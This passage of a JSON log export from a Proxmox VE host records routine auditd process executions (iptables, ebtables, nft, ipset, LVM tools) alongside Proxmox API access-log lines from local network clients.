tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366185,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.185:60723): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965168427,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964323780,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964323.780:60526): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58110 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965979977,"@rawstring":"node=pve type=EXECVE msg=audit(1781965979.977:67929): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965725641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.641:66836): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64196 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986013,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965986.013:67953): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc12fac0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65259 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366177,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.177:60722): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965168427,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:27 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 900"} {"@timestamp":1781964323780,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964323.780:60525): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58110 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965979971,"@rawstring":"node=pve type=EXECVE msg=audit(1781965979.971:67926): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965725638,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.638:66835): arch=c000003e syscall=59 success=yes exit=0 a0=5fc348f4ed70 a1=5fc348f5ab30 a2=5fc348f28680 a3=5 items=2 ppid=64189 pid=64195 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986005,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965986.005:67952): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed5c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65258 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366165,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.165:60721): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965168427,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:27 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964323772,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964323.772:60523): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58109 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975910,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.910:67923): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965725633,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.633:66834): arch=c000003e syscall=59 success=yes exit=0 a0=5fc33be1cac8 a1=7ffef08caa70 a2=5fc348f28680 a3=5fc33be0024e items=2 ppid=64189 pid=64191 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965985.999:67951): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12fac0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65257 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366152,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.152:60720): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965167449,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:26 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781964323772,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964323.772:60522): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58109 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975906,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.906:67922): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965725633,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.633:66833): arch=c000003e syscall=59 success=yes exit=0 a0=7ffef08caa30 a1=5fc348f4a410 a2=5fc348f28680 a3=5 items=2 ppid=64189 pid=64190 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985991,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965985.991:67950): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b83fd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65256 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366106,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.106:60718): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965166438,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:26 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964318761,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964318.761:60520): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58108 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975906,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.906:67921): argc=1 a0=\"date\""} {"@timestamp":1781965725625,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.625:66831): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64189 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985983,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965985.983:67949): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65255 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366084,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.084:60717): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965166438,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964318761,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964318.761:60519): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58108 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975900,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.900:67919): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965725613,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.613:66830): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64188 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985978,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965985.978:67948): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65254 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366068,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.068:60716): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965166438,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:25 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 887"} {"@timestamp":1781964318748,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964318.748:60517): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58107 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975891,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.891:67918): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965725605,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.605:66829): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64187 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985973,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965985.973:67947): arch=c000003e syscall=59 success=yes exit=0 a0=5dc4c290ab20 a1=5dc4c29169f0 a2=5dc4c28e4680 a3=5 items=2 ppid=65247 pid=65253 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366059,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.059:60715): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965165317,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:25 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964318748,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964318.748:60516): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58107 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975884,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.884:67917): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965725593,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.593:66828): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fb6d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64186 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985970,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965985.970:67946): arch=c000003e syscall=59 success=yes exit=0 a0=5dc49a44aac8 a1=7ffc1c5f2610 a2=5dc4c28e4680 a3=5dc49a42e24e items=2 ppid=65247 pid=65249 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366050,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.050:60714): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965165317,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:24 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781964315681,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.681:60512): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc455510e0 a1=5e54451f31c0 a2=5e54451d1680 a3=5 items=1 ppid=58100 pid=58101 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975877,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.877:67916): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965725582,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.582:66827): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d7f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64185 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965985.969:67945): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc1c5f25d0 a1=5dc4c29061c0 a2=5dc4c28e4680 a3=5 items=2 ppid=65247 pid=65248 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366038,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.038:60713): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965165317,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:24 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964315249,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.249:60494): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc8e152a40 a1=57c38a3ae310 a2=57c38a3a7680 a3=5 items=1 ppid=58081 pid=58082 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975867,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.867:67915): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965725571,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.571:66826): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc101090 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64184 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985964,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965985.964:67943): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65247 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366024,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.024:60712): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965165317,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:24 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 902"} {"@timestamp":1781964313737,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964313.737:60484): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58071 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975861,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.861:67913): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965724264,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965724.264:66825): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7416080 a1=64f8d73d8bc0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64183 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965985.958:67942): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65246 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366009,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.009:60711): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965164198,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781964313737,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964313.737:60483): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58071 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975856,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.856:67912): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965724239,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965724.239:66824): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d74256c0 a1=64f8d73dd260 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64182 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985950,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965985.950:67941): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65245 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366001,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.001:60710): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965164198,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:23 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 918"} {"@timestamp":1781964313726,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964313.726:60481): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58070 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975850,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.850:67911): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965724081,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965724.081:66823): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64179 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985944,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965985.944:67940): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cf540 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65244 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964365977,"@rawstring":"node=pve type=EXECVE msg=audit(1781964365.977:60709): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965163084,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964313726,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964313.726:60480): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58070 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975843,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.843:67910): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965724075,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965724.075:66820): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64178 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965985.936:67939): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b520 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65243 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964365977,"@rawstring":"node=pve type=EXECVE msg=audit(1781964365.977:60708): argc=1 a0=\"date\""} {"@timestamp":1781965163084,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781964308711,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964308.711:60478): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58069 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975838,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.838:67909): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965720769,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965720.769:66817): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253520 a1=637ee7254390 a2=637ee7240ef0 a3=8 items=2 ppid=64173 pid=64175 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} 